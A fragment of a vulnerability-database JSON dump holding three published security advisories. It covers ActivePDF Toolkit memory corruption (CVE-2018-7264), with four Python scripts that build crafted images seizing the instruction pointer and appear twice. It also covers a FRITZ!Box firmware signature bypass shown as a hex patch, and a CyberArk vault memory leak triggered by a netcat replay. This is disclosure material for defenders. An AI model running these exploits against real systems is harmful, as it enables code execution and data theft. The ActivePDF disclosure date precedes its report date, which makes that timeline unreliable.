Toolkit is a Windows library which enhances business \nprocesses to stamp, stitch, merge, form-fill, add digital signatures, \nbarcodes to PDF. Both .NET and native APIs are provided. Amongst many \nother operations, this library can be used by applications to transform \nimages to PDF files. \n \nMultiple vulnerabilities were identified in the Pictview image processing \nlibrary embedded by the Toolkit and signed by ActivePDF. They could allow \nremote attackers to compromise applications relying on the Toolkit to \nprocess untrusted images. Note that, while the example instances hereafter \nuse aexotica file types, the parser determines the image type from magic \nbytes, ignoring file extensions in most cases. \n \nCVE \n=== \nCVE-2018-7264 \n \nAffected versions \n================= \nActivePDF Toolkit before 8.1.0 (build 8.1.0.19023) \n \nAuthor \n====== \nFranASSois Goichon - Google Security Team \n \nCVE-2018-7264 \n============= \nActivePDF Toolkit < 8.1.0.19023 multiple RCE \n \nSummary \n------- \nAn image processing library embedded in the ActivePDF Toolkit product is \nprone to multiple BSS out-of-bound and signedess errors which can yield \ndirect EIP control by overwriting function pointers, error handling \nstructures or IAT entries. Note that the affected library does not enable \nASLR. \n \nReproduction \n------------ \nThe following scripts can be used to generate crafted image files which \nachieve EIP control when parsed or converted by the ActivePDF Toolkit (e.g. \nvia the ImageToPDF method), through different root causes. These examples \ncan be reproduced through both the .NET and native APIs and independently \nfrom file extensions, however the .NET layer will hide the native crashes \nand return -1. This may crash the library with a lock on, so only use in \ntest environments. \n \n* Interchange File Format (.iff) and derivates \n--- \n#!/usr/bin/env python2 \n# \n# eax=28147510 ebx=00009c1c ecx=28147510 edx=00009c1c esi=28140e90 \nedi=02930a6c \n# eip=41414141 esp=0061f264 ebp=0061f26c iopl=0 nv up ei pl nz na \npo nc \n# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b \nefl=00010202 \n# 41414141 ?? ??? \n \nfrom struct import pack \n \nheader = \"FORMXOXOILBM\" \n \nbodycontents = \"AAA\" \nbody = \"BODY\" + pack(\">I\", len(bodycontents)) + bodycontents \nwhile (len(body) % 2) == 1: \nbody += \"\\x00\" \n \nbase = 0x28147510 \npayload = pack(\"<I\", base).ljust(0x28151114 - base, \"A\") + pack(\"<I\", base) \ncmap = \"CMAP\" + pack(\">I\", len(payload)) + payload \nwhile (len(cmap) % 2) == 1: \ncmap += \"\\x00\" \n \noutp = header + cmap + body \nassert len(outp) >= 0x28 \n \nwith open(\"test.iff\", \"wb\") as f: \nf.write(outp) \n--- \n \n* Zoner Draw images (.zmf, .zbr) \n--- \n#!/usr/bin/env python2 \n# \n# eax=28151110 ebx=0000002e ecx=0000bc28 edx=2813eb10 esi=00000008 \nedi=028e0a6c \n# eip=41414141 esp=2814550c ebp=41414141 iopl=0 nv up ei ng nz ac \npe cy \n# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b \nefl=00010297 \n# 41414141 ?? ??? \n \nfrom struct import pack \n \nheader = pack(\"<III\", 0x5c, 0xD4015ADD, 0x12345678) \nheader = header.ljust(9*4) + pack(\"<I\", 0x3c) \nheader = header.ljust(0x3c) \n \nbase = 0x2814550C \npayload = '\\x00' * (0x28151124 - base) + pack(\"<I\", base) + \"A\"*8 \n \n# can be triggered by multiple formats \nheader2 = pack(\"<H\", 0x4d42) \nheader2 = header2.ljust(14) + pack(\"<I\", 50-14) \nheader2 = header2.ljust(28) + pack(\"<HI\", 0, 0) \nheader2 = header2.ljust(46) + pack(\"<I\", len(payload)/4 + 1) \n \noutp = header + header2 + payload \n \nwith open(\"test.zmf\", \"w\") as f: \nf.write(outp) \n--- \n \n* Sun Raster images (.ras) \n--- \n#!/usr/bin/python2 \n# \n#WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding \ncan be inaccurate. \n#eax=28151110 ebx=0000000c ecx=0000fc2d edx=2813eb10 esi=00000008 \nedi=02880a6c \n#eip=41414141 esp=28141504 ebp=41414141 iopl=0 nv up ei ng nz ac pe \ncy \n#cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b \nefl=00010297 \n#41414141 ?? ??? \n \nfrom struct import pack \n \nheader = pack(\">IIIIIII\", 0x59A66A95, 0x100, 1, 8, 0, 2, 1) \n \nbase = 0x28141504 \npayload = \"\".ljust(0x28151124 - base, \"\\x00\") + pack(\"<I\", base) + \"A\"*8 \noutp = header + pack(\">I\", len(payload)+1) + payload \n \nwith open(\"test.ras\", \"wb\") as f: \nf.write(outp) \n--- \n \n* Truevision Targa images (.bpx) \n--- \n#!/usr/bin/env python2 \n# \n#eax=28151110 ebx=00000004 ecx=00000008 edx=2813eb10 esi=00000008 \nedi=028f0a6c \n#eip=41414141 esp=0061f2a0 ebp=0061f2e8 iopl=0 nv up ei ng nz ac pe \ncy \n#cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b \nefl=00010297 \n#41414141 ?? ??? \n \nfrom struct import pack \n \ntarget = 0x2815112C \npayload = \"AAAA\" \n \n# TGA / PIC / BPX \nbase = { 3: 0x28147510, 4: 0x2814550c } \nalign = None \nfor al in [3, 4]: \nif ((target - base[al]) % al) == 0: \nalign = al \nbreak \nassert align \n \nheader = \"\\x00\\x01\\x00\" \nheader += pack(\"<H\", (target - base[align])/align) \nheader += pack(\"<H\", (len(payload)/align)+1) \nheader += chr(32 if align == 4 else 24) \nheader = header.ljust(16) \nheader += chr(1) \nheader = header.ljust(18) \n \nwith open(\"test.bpx\", \"wb\") as f: \nf.write(header + payload) \n--- \n \nRemediation \n----------- \nUpgrade to ActivePDF Toolkit >= 8.1.0 (build 8.1.0.19023), which fixes the \nproblem by removing the affected image processing library. Note that this \nalso fixes the similar ZDI-16-354 vulnerability. \n \nFor more information and guidance, please contact the ActivePDF support \nthrough their portal (https://support.activepdf.com). \n \n \nDisclosure timeline \n=================== \n2017/11/28 - Report sent to ActivePDF support \n2017/11/28 - Support acknowledges the issue and confirms that the library \nis scheduled to be removed from the product \n2018/01/29 - Received notification from the ActivePDF support that the \nPictview image processing library had been removed from ActivePDF in build \n8.1.0.19023 \n2017/02/26 - Public disclosure \n \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/146599/activepdftoolkit-exec.txt"}, {"lastseen": "2016-12-05T22:16:19", "bulletinFamily": "exploit", "description": "", "modified": "2015-01-21T00:00:00", "published": "2015-01-21T00:00:00", "href": "https://packetstormsecurity.com/files/130040/AVM-FRITZ-Box-Firmware-Signature-Bypass.html", "id": "PACKETSTORM:130040", "type": "packetstorm", "title": "AVM FRITZ!Box Firmware Signature Bypass", "sourceData": "`Advisory: AVM FRITZ!Box: Firmware Signature Bypass \n \nThe signature check of FRITZ!Box firmware images is flawed. Malicious \ncode can be injected into firmware images without breaking the RSA \nsignature. The code will be executed either if a manipulated firmware \nimage is uploaded by the victim or if the victim confirms an update on \nthe webinterface during a MITM attack. \n \n \nDetails \n======= \n \nProduct: AVM FRITZ!Box 7490, 7390, 7270v3 and other models \nAffected Versions: \nFRITZ!Box 6810 LTE, since firmware 5.22, \nFRITZ!Box 6840 LTE, since firmware 5.23, \nother models, since firmware 5.50 \nFixed Versions: \nFRITZ!Box 7270, since firmware 6.05, \nFRITZ!Box 7270v3, since firmware 6.05, \nFRITZ!Box 7240, since firmware 6.05, \nother models, since firmware 6.20 \n \nVulnerability Type: Improper Verification of Cryptographic Signature \nSecurity Risk: medium \nVendor URL: http://avm.de \nVendor Status: fixed version released \nAdvisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-010 \nAdvisory Status: published \nCVE: CVE-2014-8872 \nCVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8872 \n \n \nIntroduction \n============ \n \nFRITZ!Box is the brand name of SOHO routers/CPEs manufactured by AVM \nGmbH. The FRITZ!Box usually combines features such as an xDSL modem \nfunctionality, routing, wifi access, VoIP, NAS and DECT. \n \n \nMore Details \n============ \n \nAVM regularly publishes firmware updates to address bugs and to \nintroduce new features. Those updates are cryptographically signed to \navoid tampering. The firmware image can either be uploaded manually or \nthe FRITZ!Box downloads it semi-automatically from \nhttp://download.avm.de via unencrypted HTTP if a new version is \navailable. \n \nTechnically, AVM firmware images are tar files. \n \n$ tar --list --file FRITZ.Box_7490.113.06.05.image \n./var/ \n./var/regelex \n./var/install \n./var/info.txt \n./var/tmp/ \n./var/tmp/filesystem.image \n./var/tmp/kernel.image \n./var/chksum \n./var/signature \n \nThe firmware image contains a shell script called ./var/install, which \nwill be invoked after successful verification of the image. It is \nresponsible for flashing the new firmware. \n \nIn a tar archive, each file is described by a 512 byte header followed \nby n*512 bytes of file content. The end of a tar archive is represented \nby 1024 null bytes after the last content block. In some cases, AVM \nappends up to 8 KiB of excess null bytes. The whole tar archive, \nincluding these additional null bytes, is covered by a cryptographic \nsignature that is stored in the file ./var/signature within the archive. \n \nThe file contains a 1024 bit RSA decrypted MD5 hash of the firmware \nimage. 1024 bytes of space (tar header+content) are normally allocated \nto the signature file. When calculating the MD5 hash, that space is \ntreated as null bytes. \n \nThe library libfwsign.so is responsible for the detection of the \nsignature file in the tar header of the uploaded firmware image. It uses \nthe strstr() function of the C standard library like this: \n \nif (strstr(filename, \"/var/signature\")) \n{ \n// signature file found. \n// update hash with 512 + n*512 null bytes. \n} else { \n// signature file not found. \n// update hash with tar header and content of current file. \n} \n \nTherefore, any of the following names will be treated as a signature \nfile and null bytes instead of the real content will be fed to the MD5 \nhash function: \n \n./var/signature \n/var/signature \n/tmp/var/signature/example \n./var/signature/.././var/install \n \nIf such a file is placed after the last legitimate content block (where \nat least 1024 signed null bytes reside), the library libfwsign.so will \ncompute the same MD5 hash as it would do for an unmodified firmware \nimage. As a result, the modified firmware image will pass the signature \nverification. \n \nThe fourth file name, ./var/signature/.././var/install, contains a \ndirectory traversal. When parsed by tar, a warning will be generated and \nanything from the start of the file name up to /../ will be omitted. The \ncontent of the file will be extracted to ./var/install and the original \n./var/install file will be overwritten. \n \nThus, an attacker could easily inject malicious code into ./var/install, \nwhich will be executed after the manipulated firmware image has passed \nthe signature verification. \n \n \nProof of Concept \n================ \n \nThe following command manipulates the latest firmware image for the \nFRITZ!Box 7490. When uploaded to a vulnerable FRITZ!Box 7490, all LEDs \nof the device will flash constantly to indicate that code execution has \noccured. \n \n------------------------------------------------------------------------ \n$ xxd -r - FRITZ.Box_7490.113.06.20.image <<EOF \n17f2600: 2e2f 7661 722f 7369 676e 6174 7572 652f ./var/signature/ \n17f2610: 2e2e 2f2e 2f76 6172 2f69 6e73 7461 6c6c .././var/install \n17f2620: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n* \n17f2660: 0000 0000 3030 3030 3737 3700 3030 3030 ....0000777.0000 \n17f2670: 3030 3000 3030 3030 3030 3000 3030 3030 000.0000000.0000 \n17f2680: 3030 3031 3030 3000 3030 3030 3030 3032 0001000.00000002 \n17f2690: 3430 3700 3031 3532 3037 0020 3000 0000 407.015207. 0... \n17f26a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n* \n17f2700: 0075 7374 6172 2020 0072 6f6f 7400 0000 .ustar .root... \n17f2710: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n17f2720: 0000 0000 0000 0000 0072 6f6f 7400 0000 .........root... \n17f2730: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n* \n17f2800: 2321 2f62 696e 2f73 680a 6563 686f 2022 #!/bin/sh.echo \" \n17f2810: 6c65 642d 6374 726c 2070 6f77 6572 5f6f led-ctrl power_o \n17f2820: 6666 0a6c 6564 2d63 7472 6c20 776c 616e ff.led-ctrl wlan \n17f2830: 5f6f 6666 0a6c 6564 2d63 7472 6c20 7570 _off.led-ctrl up \n17f2840: 6461 7465 5f6c 6564 313d 300a 6c65 642d date_led1=0.led- \n17f2850: 6374 726c 2068 6172 6477 6172 655f 6572 ctrl hardware_er \n17f2860: 726f 720a 642d 6374 726c 2075 7064 6174 ror.d-ctrl updat \n17f2870: 655f 6c65 6431 3d30 0a6c 6564 2d63 7472 e_led1=0.led-ctr \n17f2880: 6c20 6861 7264 7761 7265 5f65 7272 6f72 l hardware_error \n17f2890: 2220 3e20 2f76 6172 2f66 6c61 7368 2f64 \" > /var/flash/d \n17f28a0: 6562 7567 2e63 6667 0a65 7869 7420 310a ebug.cfg.exit 1. \n17f28b0: 2345 4f46 0a00 0000 0000 0000 0000 0000 #EOF............ \n17f28c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n* \n17f29f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \nEOF \n------------------------------------------------------------------------ \n \n \nWorkaround \n========== \n \nCheck each firmware image manually for multiple occurrences of the \nstring \"/var/signature\" in file names using tar --list. \n \n \nFix \n=== \n \nUpgrade to a fixed firmware version. Before upgrading, check the new \nfirmware image for suspicious file names (see \"Workaround\"). AVM should \nsecure the distribution of firmware images with TLS to prevent MITM \nattacks. \n \n \nSecurity Risk \n============= \n \nThis vulnerability allows an attacker to inject arbitrary code into AVM \nfirmware images while maintaining its cryptographic signature. If the \nattacker is able to perform a Man-in-the-Middle attack between the AVM \nFRITZ!Box and http://download.avm.de/, firmware images can be \nmanipulated in transit. Otherwise, attackers need to trick their victims \ninto installing a malicious firmware image. While successful attacks \nresult in the full compromise of a device, they would typically require an \nattacker in a very strong position. The vulnerability is therefore \nconsidered to pose a medium risk. \n \n \nTimeline \n======== \n \n2014-03-10 Vulnerability identified \n2014-03-12 Vendor notified \n2014-05-27 Vendor released fixed version for FRITZ!Box 7270v3 \n2014-08-12 Vendor released fixed version for FRITZ!Box 7490 \n2014-09-09 Vendor released fixed version for FRITZ!Box 7390 \n2014-11-14 CVE number assigned \n2014-12-08 Vendor provided updated list of affected and fixed models/versions \n2014-12-15 Vendor finished releasing fixed versions for all current models \n2015-01-21 Advisory released \n \n \nRedTeam Pentesting GmbH \n======================= \n \nRedTeam Pentesting offers individual penetration tests, short pentests, \nperformed by a team of specialised IT-security experts. Hereby, security \nweaknesses in company networks or products are uncovered and can be \nfixed immediately. \n \nAs there are only few experts in this field, RedTeam Pentesting wants to \nshare its knowledge and enhance the public knowledge with research in \nsecurity-related areas. The results are made available as public \nsecurity advisories. \n \nMore information about RedTeam Pentesting can be found at \nhttps://www.redteam-pentesting.de. \n \n-- \nRedTeam Pentesting GmbH Tel.: +49 241 510081-0 \nDennewartstr. 25-27 Fax : +49 241 510081-99 \n52068 Aachen https://www.redteam-pentesting.de \nGermany Registergericht: Aachen HRB 14004 \nGesch\u00e4ftsf\u00fchrer: Patrick Hof, Jens Liebchen \n`\n", "cvss": {"score": 3.5, "vector": "AV:NETWORK/AC:MEDIUM/Au:UNKNOWN/C:NONE/I:PARTIAL/A:NONE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/130040/rt-sa-2014-010.txt"}], "zdt": [{"lastseen": "2018-04-11T11:46:23", "bulletinFamily": "exploit", "description": "Exploit for linux platform in category dos / poc", "modified": "2018-04-09T00:00:00", "published": "2018-04-09T00:00:00", "href": "https://0day.today/exploit/description/30138", "id": "1337DAY-ID-30138", "type": "zdt", "title": "CyberArk Password Vault < 9.7 / < 10 - Memory Disclosure Vulnerability", "sourceData": "Advisory: CyberArk Password Vault Memory Disclosure\r\n \r\nData in the CyberArk Password Vault may be accessed through a proprietary\r\nnetwork protocol. While answering to a client's logon request, the vault\r\ndiscloses around 50 bytes of its memory to the client.\r\n \r\n \r\nDetails\r\n=======\r\n \r\nProduct: CyberArk Password Vault\r\nAffected Versions: < 9.7, < 10\r\nFixed Versions: 9.7, 10\r\nVulnerability Type: Information Disclosure\r\nSecurity Risk: high\r\nVendor URL: https://www.cyberark.com/\r\nVendor Status: fixed version released\r\nAdvisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-015\r\nAdvisory Status: published\r\nCVE: CVE-2018-9842\r\nCVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9842\r\n \r\n \r\nIntroduction\r\n============\r\n \r\n\"CyberArk Enterprise Password Vault is designed to secure, rotate and\r\ncontrol access to privileged account credentials based on organizational\r\npolicies. A flexible architecture allows organizations to start small\r\nand scale to the largest, most complex IT environments. The solution\r\nprotects privileged account credentials used to access the vast majority\r\nof systems.\"\r\n(from the Enterprise Password Vault Data Sheet [1])\r\n \r\n \r\nMore Details\r\n============\r\n \r\nThe CyberArk Password Vault serves as a database to securely store\r\ncredentials. Furthermore, the vault enforces access controls and logs\r\naccess to its records. Data stored in the vault may be accessed through\r\na proprietary network protocol which is usually transmitted over TCP\r\nport 1858. Various clients, such as web applications or command line\r\ntools, are provided by CyberArk to interface with a vault.\r\n \r\nThe first message a client sends to the vault is a \"Logon\" command.\r\nUsing a network sniffer, such a message was captured:\r\n \r\n$ xxd logon.bin\r\n00000000: ffff ffff f700 0000 ffff ffff 3d01 0000 ............=...\r\n00000010: 5061 636c 6953 6372 6970 7455 7365 7200 PacliScriptUser.\r\n00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000060: 0000 0000 0000 0000 0000 0000 0020 2020 .............\r\n00000070: 20ff ffff ff00 0000 0000 0000 0000 0073 ..............s\r\n00000080: 0000 00ce cece ce00 0000 0000 0000 0000 ................\r\n00000090: 0000 0000 0000 0030 3d4c 6f67 6f6e fd31 .......0=Logon.1\r\n000000a0: 3135 3d37 2e32 302e 3930 2e32 38fd 3639 15=7.20.90.28.69\r\n000000b0: 3d50 fd31 3136 3d30 fd31 3030 3dfd 3231 =P.116=0.100=.21\r\n000000c0: 373d 59fd 3231 383d 5041 434c 49fd 3231 7=Y.218=PACLI.21\r\n000000d0: 393d fd33 3137 3d30 fd33 3537 3d30 fd32 9=.317=0.357=0.2\r\n000000e0: 323d 5061 636c 6953 6372 6970 7455 7365 2=PacliScriptUse\r\n000000f0: 72fd 3336 373d 3330 fd00 00 r.367=30...\r\n \r\nStarting at offset 0x97, a type of remote procedure call can be\r\nidentified. In this case, \"Logon\" is invoked for the user\r\n\"PacliScriptUser\". This message does not contain any random,\r\nunpredictable data. Therefore, it may be replayed at will once captured.\r\nThis can be accomplished using netcat:\r\n \r\n------------------------------------------------------------------------\r\n$ cat logon.bin | nc -v 10.0.0.5 1858\r\n------------------------------------------------------------------------\r\n \r\nRedTeam Pentesting discovered that the message sent by the vault in\r\nresponse to a \"Logon\" command contains about 50 bytes of the vault's\r\nmemory.\r\n \r\n \r\nProof of Concept\r\n================\r\n \r\nTo trigger the vulnerability, a previously captured logon message is\r\nsent to the vault using netcat:\r\n \r\n------------------------------------------------------------------------\r\n$ cat logon.bin | nc -v 10.0.0.5 1858 | xxd\r\nNcat: Version 7.40 ( https://nmap.org/ncat )\r\nNcat: Connected to 10.0.0.5:1858.\r\nNcat: 251 bytes sent, 273 bytes received in 0.01 seconds.\r\n00000000: e500 0000 0000 0000 3001 0000 5061 636c ........0...Pacl\r\n00000010: 6953 6372 6970 7455 7365 7200 0000 0000 iScriptUser.....\r\n00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000060: 0000 0000 0000 0000 0000 0000 001e 0200 ................\r\n00000070: 0078 9c53 6362 0003 7616 0686 ff40 e019 [email\u00a0protected]\r\n00000080: e2e8 ec6b 6069 eaaa 1052 9498 579c 985c ...k`i...R..W..\\\r\n00000090: 9299 9fa7 e093 9f0e 248b b333 0b0a 5253 ........$..3..RS\r\n000000a0: 14d2 f28b 144a 8b53 8b14 0212 9373 3283 .....J.S.....s2.\r\n000000b0: 938b 320b 4a42 817c 3d85 a0d4 c4e2 fc3c ..2.JB.|=......<\r\n000000c0: 2b05 a070 6a5e 8942 717e 7276 6a89 4266 +..pj^.Bq~rvj.Bf\r\n000000d0: 3150 20bf 3835 458f 8b61 140c 15c0 08c4 1P .85E..a......\r\n000000e0: 0063 0e25 c06d 6265 7220 3d20 7661 756c .c.%.mber = vaul\r\n000000f0: 745f 6669 6c65 5f63 6174 6567 6f72 6965 t_file_categorie\r\n00000100: 735f 7265 636f 7264 7300 2968 b8fb aae9 s_records.)h....\r\n00000110: 62\r\n------------------------------------------------------------------------\r\n \r\nStarting at offset 0xe0, the vault discloses a total of 49 bytes of its\r\nmemory to the client.\r\n \r\n \r\nWorkaround\r\n==========\r\n \r\nNone\r\n \r\n \r\nFix\r\n===\r\n \r\nUpgrade CyberArk Password Vault to version 9.7 or 10.\r\n \r\n \r\nSecurity Risk\r\n=============\r\n \r\nThis vulnerability is rated as a high risk. Exploitation only requires\r\nnetwork access to a PrivateArk Password Vault. Although each request\r\nonly discloses about 50 bytes of memory, sustained exploitation will\r\nlikely reveal sensitive information at some point in time. This\r\ncritically undermines the primary purpose of the PrivateArk Password\r\nVault.\r\n \r\n \r\nTimeline\r\n========\r\n \r\n2017-11-24 Vulnerability identified\r\n2018-01-22 Customer approved disclosure to vendor\r\n2018-02-05 Vendor notified\r\n2018-04-06 CVE number requested\r\n2018-04-07 CVE number assigned\r\n2018-04-09 Advisory released\r\n \r\n \r\nReferences\r\n==========\r\n \r\n[1] http://lp.cyberark.com/rs/316-CZP-275/images/ds-enterprise-password-vault-11-15-17.pdf\r\n \r\n \r\nRedTeam Pentesting GmbH\r\n=======================\r\n \r\nRedTeam Pentesting offers individual penetration tests performed by a\r\nteam of specialised IT-security experts. Hereby, security weaknesses in\r\ncompany networks or products are uncovered and can be fixed immediately.\r\n \r\nAs there are only few experts in this field, RedTeam Pentesting wants to\r\nshare its knowledge and enhance the public knowledge with research in\r\nsecurity-related areas. The results are made available as public\r\nsecurity advisories.\r\n \r\nMore information about RedTeam Pentesting can be found at:\r\nhttps://www.redteam-pentesting.de/\r\n \r\n \r\nWorking at RedTeam Pentesting\r\n=============================\r\n \r\nRedTeam Pentesting is looking for penetration testers to join our team\r\nin Aachen, Germany. If you are interested please visit:\r\nhttps://www.redteam-pentesting.de/jobs/\r\n \r\n-- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Gesch\u00e4ftsf\u00fchrer: Patrick Hof, Jens Liebchen\n\n# 0day.today [2018-04-11] #", "sourceHref": "https://0day.today/exploit/30138", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-03-13T23:22:59", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2018-02-28T00:00:00", "published": "2018-02-28T00:00:00", "href": "https://0day.today/exploit/description/29910", "id": "1337DAY-ID-29910", "title": "ActivePDF Toolkit < 8.1.0.19023 - Multiple Memory Corruptions Exploit", "type": "zdt", "sourceData": "ActivePDF Toolkit < 8.1.0 multiple RCE\r\n\r\nIntroduction\r\n============\r\nThe ActivePDF Toolkit is a Windows library which enhances business\r\nprocesses to stamp, stitch, merge, form-fill, add digital signatures,\r\nbarcodes to PDF. Both .NET and native APIs are provided. Amongst many\r\nother operations, this library can be used by applications to transform\r\nimages to PDF files.\r\n\r\nMultiple vulnerabilities were identified in the Pictview image processing\r\nlibrary embedded by the Toolkit and signed by ActivePDF. They could allow\r\nremote attackers to compromise applications relying on the Toolkit to\r\nprocess untrusted images. Note that, while the example instances hereafter\r\nuse aexotica file types, the parser determines the image type from magic\r\nbytes, ignoring file extensions in most cases.\r\n\r\nCVE\r\n===\r\nCVE-2018-7264\r\n\r\nAffected versions\r\n=================\r\nActivePDF Toolkit before 8.1.0 (build 8.1.0.19023)\r\n\r\nAuthor\r\n======\r\nFranASSois Goichon - Google Security Team\r\n\r\nCVE-2018-7264\r\n=============\r\nActivePDF Toolkit < 8.1.0.19023 multiple RCE\r\n\r\nSummary\r\n-------\r\nAn image processing library embedded in the ActivePDF Toolkit product is\r\nprone to multiple BSS out-of-bound and signedess errors which can yield\r\ndirect EIP control by overwriting function pointers, error handling\r\nstructures or IAT entries. Note that the affected library does not enable\r\nASLR.\r\n\r\nReproduction\r\n------------\r\nThe following scripts can be used to generate crafted image files which\r\nachieve EIP control when parsed or converted by the ActivePDF Toolkit (e.g.\r\nvia the ImageToPDF method), through different root causes. These examples\r\ncan be reproduced through both the .NET and native APIs and independently\r\nfrom file extensions, however the .NET layer will hide the native crashes\r\nand return -1. This may crash the library with a lock on, so only use in\r\ntest environments.\r\n\r\n* Interchange File Format (.iff) and derivates\r\n---\r\n#!/usr/bin/env python2\r\n#\r\n# eax=28147510 ebx=00009c1c ecx=28147510 edx=00009c1c esi=28140e90\r\nedi=02930a6c\r\n# eip=41414141 esp=0061f264 ebp=0061f26c iopl=0 nv up ei pl nz na\r\npo nc\r\n# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b\r\nefl=00010202\r\n# 41414141 ?? ???\r\n\r\nfrom struct import pack\r\n\r\nheader = \"FORMXOXOILBM\"\r\n\r\nbodycontents = \"AAA\"\r\nbody = \"BODY\" + pack(\">I\", len(bodycontents)) + bodycontents\r\nwhile (len(body) % 2) == 1:\r\n body += \"\\x00\"\r\n\r\nbase = 0x28147510\r\npayload = pack(\"<I\", base).ljust(0x28151114 - base, \"A\") + pack(\"<I\", base)\r\ncmap = \"CMAP\" + pack(\">I\", len(payload)) + payload\r\nwhile (len(cmap) % 2) == 1:\r\n cmap += \"\\x00\"\r\n\r\noutp = header + cmap + body\r\nassert len(outp) >= 0x28\r\n\r\nwith open(\"test.iff\", \"wb\") as f:\r\n f.write(outp)\r\n---\r\n\r\n* Zoner Draw images (.zmf, .zbr)\r\n---\r\n#!/usr/bin/env python2\r\n#\r\n# eax=28151110 ebx=0000002e ecx=0000bc28 edx=2813eb10 esi=00000008\r\nedi=028e0a6c\r\n# eip=41414141 esp=2814550c ebp=41414141 iopl=0 nv up ei ng nz ac\r\npe cy\r\n# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b\r\nefl=00010297\r\n# 41414141 ?? ???\r\n\r\nfrom struct import pack\r\n\r\nheader = pack(\"<III\", 0x5c, 0xD4015ADD, 0x12345678)\r\nheader = header.ljust(9*4) + pack(\"<I\", 0x3c)\r\nheader = header.ljust(0x3c)\r\n\r\nbase = 0x2814550C\r\npayload = '\\x00' * (0x28151124 - base) + pack(\"<I\", base) + \"A\"*8\r\n\r\n# can be triggered by multiple formats\r\nheader2 = pack(\"<H\", 0x4d42)\r\nheader2 = header2.ljust(14) + pack(\"<I\", 50-14)\r\nheader2 = header2.ljust(28) + pack(\"<HI\", 0, 0)\r\nheader2 = header2.ljust(46) + pack(\"<I\", len(payload)/4 + 1)\r\n\r\noutp = header + header2 + payload\r\n\r\nwith open(\"test.zmf\", \"w\") as f:\r\n f.write(outp)\r\n---\r\n\r\n* Sun Raster images (.ras)\r\n---\r\n#!/usr/bin/python2\r\n#\r\n#WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding\r\ncan be inaccurate.\r\n#eax=28151110 ebx=0000000c ecx=0000fc2d edx=2813eb10 esi=00000008\r\nedi=02880a6c\r\n#eip=41414141 esp=28141504 ebp=41414141 iopl=0 nv up ei ng nz ac pe\r\ncy\r\n#cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b\r\nefl=00010297\r\n#41414141 ?? ???\r\n\r\nfrom struct import pack\r\n\r\nheader = pack(\">IIIIIII\", 0x59A66A95, 0x100, 1, 8, 0, 2, 1)\r\n\r\nbase = 0x28141504\r\npayload = \"\".ljust(0x28151124 - base, \"\\x00\") + pack(\"<I\", base) + \"A\"*8\r\noutp = header + pack(\">I\", len(payload)+1) + payload\r\n\r\nwith open(\"test.ras\", \"wb\") as f:\r\n f.write(outp)\r\n---\r\n\r\n* Truevision Targa images (.bpx)\r\n---\r\n#!/usr/bin/env python2\r\n#\r\n#eax=28151110 ebx=00000004 ecx=00000008 edx=2813eb10 esi=00000008\r\nedi=028f0a6c\r\n#eip=41414141 esp=0061f2a0 ebp=0061f2e8 iopl=0 nv up ei ng nz ac pe\r\ncy\r\n#cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b\r\nefl=00010297\r\n#41414141 ?? ???\r\n\r\nfrom struct import pack\r\n\r\ntarget = 0x2815112C\r\npayload = \"AAAA\"\r\n\r\n# TGA / PIC / BPX\r\nbase = { 3: 0x28147510, 4: 0x2814550c }\r\nalign = None\r\nfor al in [3, 4]:\r\n if ((target - base[al]) % al) == 0:\r\n align = al\r\n break\r\nassert align\r\n\r\nheader = \"\\x00\\x01\\x00\"\r\nheader += pack(\"<H\", (target - base[align])/align)\r\nheader += pack(\"<H\", (len(payload)/align)+1)\r\nheader += chr(32 if align == 4 else 24)\r\nheader = header.ljust(16)\r\nheader += chr(1)\r\nheader = header.ljust(18)\r\n\r\nwith open(\"test.bpx\", \"wb\") as f:\r\n f.write(header + payload)\r\n---\r\n\r\nRemediation\r\n-----------\r\nUpgrade to ActivePDF Toolkit >= 8.1.0 (build 8.1.0.19023), which fixes the\r\nproblem by removing the affected image processing library. Note that this\r\nalso fixes the similar ZDI-16-354 vulnerability.\r\n\r\nFor more information and guidance, please contact the ActivePDF support\r\nthrough their portal (https://support.activepdf.com).\r\n\r\n\r\nDisclosure timeline\r\n===================\r\n2017/11/28 - Report sent to ActivePDF support\r\n2017/11/28 - Support acknowledges the issue and confirms that the library\r\nis scheduled to be removed from the product\r\n2018/01/29 - Received notification from the ActivePDF support that the\r\nPictview image processing library had been removed from ActivePDF in build\r\n8.1.0.19023\r\n2017/02/26 - Public disclosure\n\n# 0day.today [2018-03-13] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": 